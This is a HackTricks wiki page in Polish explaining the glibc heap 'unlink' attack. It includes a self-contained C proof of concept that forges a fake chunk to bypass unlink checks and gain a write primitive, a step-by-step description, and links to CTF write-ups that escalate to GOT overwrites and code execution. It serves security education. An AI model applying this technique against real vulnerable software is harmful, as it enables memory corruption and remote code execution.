Unlink Attack
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Kiedy ten atak został odkryty, głównie pozwalał na WWW (Write What Where), jednak dodano pewne sprawdzenia, co sprawiło, że nowa wersja ataku stała się bardziej interesująca, bardziej złożona i bezużyteczna.
```c #include #include #include #include
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding };
int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20];
// First grab two chunks (non fast) chunk1 = malloc(0x8000); chunk2 = malloc(0x8000); printf("Stack pointer to chunk1: %p\n", &chunk1); printf("Chunk1: %p\n", chunk1); printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->size = 0x8000; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x8000; // chunk1's data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf("Chunk1: %p\n", chunk1); printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0; }
</details>
* Atak nie działa, jeśli używane są tcaches (po wersji 2.26)
### Cel
Ten atak pozwala na **zmianę wskaźnika do kawałka, aby wskazywał 3 adresy przed sobą**. Jeśli ta nowa lokalizacja (otoczenie, w którym znajdował się wskaźnik) zawiera interesujące rzeczy, takie jak inne kontrolowane alokacje / stos..., możliwe jest ich odczytanie/zapisanie, aby spowodować większe szkody.
* Jeśli ten wskaźnik znajdował się na stosie, ponieważ teraz wskazuje 3 adresy przed sobą, a użytkownik potencjalnie może go odczytać i modyfikować, możliwe będzie wycieknięcie wrażliwych informacji ze stosu lub nawet modyfikacja adresu powrotu (może) bez dotykania canary.
* W przykładach CTF ten wskaźnik znajduje się w tablicy wskaźników do innych alokacji, dlatego, zmieniając go, aby wskazywał 3 adresy przed sobą i mając możliwość odczytu i zapisu, możliwe jest, aby inne wskaźniki wskazywały na inne adresy.\
Ponieważ użytkownik potencjalnie może również odczytywać/zapisywać inne alokacje, może wyciekować informacje lub nadpisywać nowe adresy w dowolnych lokalizacjach (jak w GOT).
### Wymagania
* Pewna kontrola w pamięci (np. stos), aby stworzyć kilka kawałków, nadając wartości niektórym atrybutom.
* Wyciek ze stosu w celu ustawienia wskaźników fałszywego kawałka.
### Atak
* Istnieje kilka kawałków (chunk1 i chunk2)
* Atakujący kontroluje zawartość chunk1 i nagłówki chunk2.
* W chunk1 atakujący tworzy strukturę fałszywego kawałka:
* Aby obejść zabezpieczenia, upewnia się, że pole `size` jest poprawne, aby uniknąć błędu: `corrupted size vs. prev_size while consolidating`
* a pola `fd` i `bk` fałszywego kawałka wskazują, gdzie przechowywany jest wskaźnik chunk1 z przesunięciami -3 i -2 odpowiednio, więc `fake_chunk->fd->bk` i `fake_chunk->bk->fd` wskazują na pozycję w pamięci (stos), gdzie znajduje się rzeczywisty adres chunk1:
<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
* Nagłówki chunk2 są modyfikowane, aby wskazywały, że poprzedni kawałek nie jest używany i że rozmiar to rozmiar zawartego fałszywego kawałka.
* Gdy drugi kawałek jest zwalniany, ten fałszywy kawałek jest odłączany, co prowadzi do:
* `fake_chunk->fd->bk` = `fake_chunk->bk`
* `fake_chunk->bk->fd` = `fake_chunk->fd`
* Wcześniej zrobiono, że `fake_chunk->fd->bk` i `fake_chunk->bk->fd` wskazują na to samo miejsce (lokalizacja na stosie, gdzie przechowywany był `chunk1`, więc była to ważna lista powiązana). Ponieważ **oba wskazują na tę samą lokalizację**, tylko ostatni (`fake_chunk->bk->fd = fake_chunk->fd`) wejdzie w **efekt**.
* To **nadpisze wskaźnik do chunk1 na stosie na adres (lub bajty) przechowywane 3 adresy przed w stosie**.
* Dlatego, jeśli atakujący mógłby ponownie kontrolować zawartość chunk1, będzie mógł **zapisać wewnątrz stosu**, mając potencjalnie możliwość nadpisania adresu powrotu, omijając canary i modyfikując wartości oraz wskaźniki lokalnych zmiennych. Nawet ponownie modyfikując adres chunk1 przechowywany na stosie na inną lokalizację, gdzie jeśli atakujący mógłby ponownie kontrolować zawartość chunk1, mógłby zapisać wszędzie.
* Należy zauważyć, że to było możliwe, ponieważ **adresy są przechowywane na stosie**. Ryzyko i wykorzystanie mogą zależeć od **tego, gdzie są przechowywane adresy fałszywego kawałka**.
<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
## Referencje
* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
* Chociaż byłoby dziwnie znaleźć atak unlink nawet w CTF, oto kilka opisów, w których ten atak był używany:
* Przykład CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
* W tym przykładzie, zamiast stosu, jest tablica alokowanych adresów. Atak unlink jest przeprowadzany, aby móc alokować kawałek tutaj, a tym samym kontrolować wskaźniki tablicy alokowanych adresów. Następnie istnieje inna funkcjonalność, która pozwala na modyfikację zawartości kawałków w tych adresach, co pozwala na wskazywanie adresów do GOT, modyfikację adresów funkcji, aby uzyskać wycieki i RCE.
* Inny przykład CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html)
* Podobnie jak w poprzednim przykładzie, istnieje tablica adresów alokacji. Możliwe jest przeprowadzenie ataku unlink, aby adres do pierwszej alokacji wskazywał kilka pozycji przed rozpoczęciem tablicy i nadpisywał tę alokację w nowej pozycji. Dlatego możliwe jest nadpisanie wskaźników innych alokacji, aby wskazywały na GOT funkcji atoi, wydrukować to, aby uzyskać wyciek libc, a następnie nadpisać GOT atoi adresem do jednego gadżetu.
* Przykład CTF z niestandardowymi funkcjami malloc i free, które wykorzystują lukę bardzo podobną do ataku unlink: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)
* Istnieje przepełnienie, które pozwala na kontrolowanie wskaźników FD i BK niestandardowego malloc, które będą (niestandardowo) zwalniane. Ponadto, sterta ma bit exec, więc możliwe jest wycieknięcie adresu sterty i wskazanie funkcji z GOT do kawałka sterty z shellcodem do wykonania.
<div data-gb-custom-block data-tag="hint" data-style='success'>
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Wsparcie dla HackTricks</summary>
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
</details>
</div>